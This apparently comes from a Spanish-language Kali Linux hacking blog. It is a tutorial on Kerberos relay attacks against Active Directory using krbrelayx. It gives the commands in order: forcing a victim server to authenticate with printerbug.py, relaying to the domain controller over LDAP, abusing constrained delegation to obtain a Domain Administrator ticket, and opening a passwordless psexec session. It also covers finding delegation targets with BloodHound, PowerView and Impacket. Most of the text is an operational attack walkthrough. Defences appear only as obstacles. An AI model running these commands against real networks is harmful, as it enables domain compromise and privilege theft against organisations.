KrbRelayx: Ataque Kerberos en Español

 

 https://www.onlinetis.com/es/

KrbRelayx: Ataque Kerberos en Español

KrbRelayx es una herramienta esencial para cualquier profesional de ciberseguridad que trabaje en entornos de Active Directory, especialmente cuando se trata de abusar del protocolo Kerberos.

Aquí tienes una guía rápida y clara en español sobre qué es y cómo ponerla en marcha en tu Kali Linux.


¿Qué es KrbRelayx?

Es un conjunto de herramientas escritas en Python (parte del ecosistema de Impacket) diseñadas para realizar ataques de Relay de Kerberos. A diferencia del clásico relay de NTLM, KrbRelayx permite interceptar y retransmitir autenticaciones de Kerberos para obtener acceso local, elevar privilegios o incluso tomar el control de máquinas en un dominio.

Componentes principales:

  • krbrelayx.py: El relay principal que escucha conexiones entrantes.

  • printerbug.py: Útil para forzar a una máquina víctima a autenticarse contra tu Kali (usando el exploit PrintSpooler).

  • addcomputer.py: Para crear nuevas cuentas de computadora en el AD si tienes los privilegios necesarios.


Instalación en Kali Linux

Aunque Kali suele traer muchas herramientas, es mejor clonar el repositorio oficial para asegurarte de tener todas las dependencias:

  1. Clona el repositorio:

    Bash
    git clone https://github.com/zeronetworks/krbrelayx.git
    cd krbrelayx
    
  2. Instala las dependencias:

    Asegúrate de tener impacket instalado (Kali ya lo trae, pero puedes actualizarlo):

    Bash
    pip3 install -r requirements.txt
    

Cómo usarlo (Escenario Común)

El uso más habitual es combinarlo con una vulnerabilidad que fuerce la autenticación (como el PrinterBug) para obtener un ticket de servicio y personificar a una cuenta de sistema.

1. Preparar el Relay

Configura a krbrelayx para que escuche y guarde lo que capture. Por ejemplo, para intentar un ataque de delegación:

Bash
python3 krbrelayx.py -target ip_del_controlador_de_dominio -domain dominio.local

2. Forzar la autenticación

En otra terminal, usa printerbug.py para obligar a la víctima (ej. un servidor) a que se conecte a tu máquina de Kali (donde krbrelayx está escuchando):

Bash
python3 printerbug.py dominio.local/usuario:password@IP_VICTIMA IP_TU_KALI

3. Resultado

Si tiene éxito, krbrelayx capturará la autenticación y, dependiendo de la configuración del entorno, podría darte un ticket de Kerberos o permitirte ejecutar comandos en el objetivo.


Puntos clave a recordar:

  • LDAP/S: Muchas veces el relay se hace hacia LDAP. Si el servidor requiere firma (signing), el ataque podría fallar.

  • AES256: Asegúrate de tener las librerías de cifrado actualizadas en Kali para manejar tickets modernos.

  • Privilegios: No necesitas ser Admin para lanzar el ataque, pero sí necesitas una cuenta válida del dominio para forzar la conexión inicial.


El escenario de Delegación Restringida (Constrained Delegation) es uno de los vectores más potentes en Active Directory porque permite "suplantar" a cualquier usuario (incluyendo un Domain Admin) ante un servicio específico.

Para que esto funcione, necesitas haber comprometido previamente una cuenta de servicio que tenga configurado el atributo msDS-AllowedToDelegateTo.


El Comando Maestro de KrbRelayx

Supongamos que tienes el control de una cuenta de equipo o servicio y quieres abusar de la delegación restringida para obtener un ticket de administrador hacia el servicio CIFS (archivos) de un servidor objetivo.

Estructura del comando:

Bash
python3 krbrelayx.py -target ldap://dominio.local -victim nombre_servidor_victima$ -domain dominio.local -plugin delegation -spn cifs/servidor_objetivo.dominio.local

Desglose de los parámetros clave:

  • -target ldap://...: Le indicamos a krbrelayx que queremos retransmitir la autenticación capturada hacia el protocolo LDAP del Controlador de Dominio (DC).

  • -victim: Es la cuenta de la que esperamos recibir la conexión (normalmente una cuenta de computadora, por eso el símbolo $).

  • -plugin delegation: Este es el "cerebro" del ataque. Le dice a la herramienta que use la extensión de protocolo S4U2Proxy para solicitar un ticket de servicio.

  • -spn: Define el servicio final al que queremos acceder. Si pides cifs/, podrías usar herramientas como secretsdump.py o acceder a los discos C$ del objetivo una vez obtenido el ticket.


¿Qué ocurre "detrás de cámaras"?

  1. Captura: Forzamos a la víctima a conectarse a nuestro Kali (usando printerbug.py o petitpotam.py).

  2. Relay: krbrelayx recibe esa autenticación y la reenvía al DC vía LDAP.

  3. Abuso: Si la cuenta víctima tiene delegación configurada, el plugin de krbrelayx solicita un Service Ticket (ST) actuando como el Administrador del Dominio.

  4. Ticket: La herramienta guardará un archivo .kirbi o .ccache.

Cómo usar el ticket resultante:

Una vez que krbrelayx te dé el ticket (ej. Administrator.ccache), lo exportas en tu terminal:

Bash
export KRB5CCNAME=Administrator.ccache
# Ahora puedes entrar al servidor sin contraseña:
psexec.py -k -no-pass dominio.local/Administrator@servidor_objetivo.dominio.local

Nota Crítica: Este ataque suele requerir que el servidor objetivo no tenga habilitado el LDAP Signing o Channel Binding, de lo contrario el relay fallará.

 

Identificar qué cuentas tienen Delegación Restringida es el primer paso antes de lanzar krbrelayx, porque si disparas a ciegas, lo más probable es que el ataque falle.

Aquí tienes cómo encontrar esas "minas de oro" usando BloodHound (la forma visual) y PowerView (la forma directa por comandos).


1. Con BloodHound (El método visual)

BloodHound es el estándar de oro para esto. Una vez que hayas subido tus datos de ingestión (SharpHound.exe), haz lo siguiente:

  1. En la barra de búsqueda, escribe el nombre del servidor o usuario que sospechas.

  2. Haz clic derecho sobre el nodo y selecciona "Node Info".

  3. Busca la sección "Constrained Delegation".

  4. Si quieres ver todas las cuentas con este privilegio en el dominio, usa esta consulta personalizada (Custom Query):

    MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u,c

Esto te dibujará una línea desde el usuario/equipo que controlas hasta el servicio al que puedes saltar.


2. Con PowerView (Desde una shell de PowerShell)

Si ya estás dentro de una máquina Windows del dominio, PowerView (parte de PowerSharpPack o Empire) es infalible.

Buscar usuarios con delegación:

PowerShell
Get-DomainUser -TrustedToAuth
  • Por qué importa: El atributo TrustedToAuth (Protocol Transition) es lo que permite que el ataque de krbrelayx funcione, ya que permite al servicio suplantar a un usuario sin que este se haya autenticado previamente con Kerberos.

Buscar computadoras con delegación:

PowerShell
Get-DomainComputer -TrustedToAuth

Ver exactamente a qué servicios pueden delegar:

Busca la propiedad msds-allowedtodelegateto en los resultados. Verás algo como cifs/WEB01.dominio.local. Ese es el SPN que debes poner en tu comando de krbrelayx.


3. Con Impacket (Desde Kali Linux)

Si no quieres tocar una máquina Windows, puedes enumerar esto directamente desde tu Kali usando findDelegation.py:

Bash
impacket-findDelegation dominio.local/usuario:password -dc-ip IP_DEL_DC

Este script te devolverá una tabla limpia con:

  • AccountName: La cuenta que "manda".

  • AllowedToDelegateTo: El servicio "objetivo".

  • HasS4U2Self: Si dice True, ¡tienes el escenario perfecto para el ataque que planeamos!


¿Qué hacer con esta información?

Una vez que identifiques una cuenta con msds-allowedtodelegateto hacia un servidor que te interese (como un servidor SQL o de Archivos), ya tienes todos los ingredientes para el comando de krbrelayx que vimos antes.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux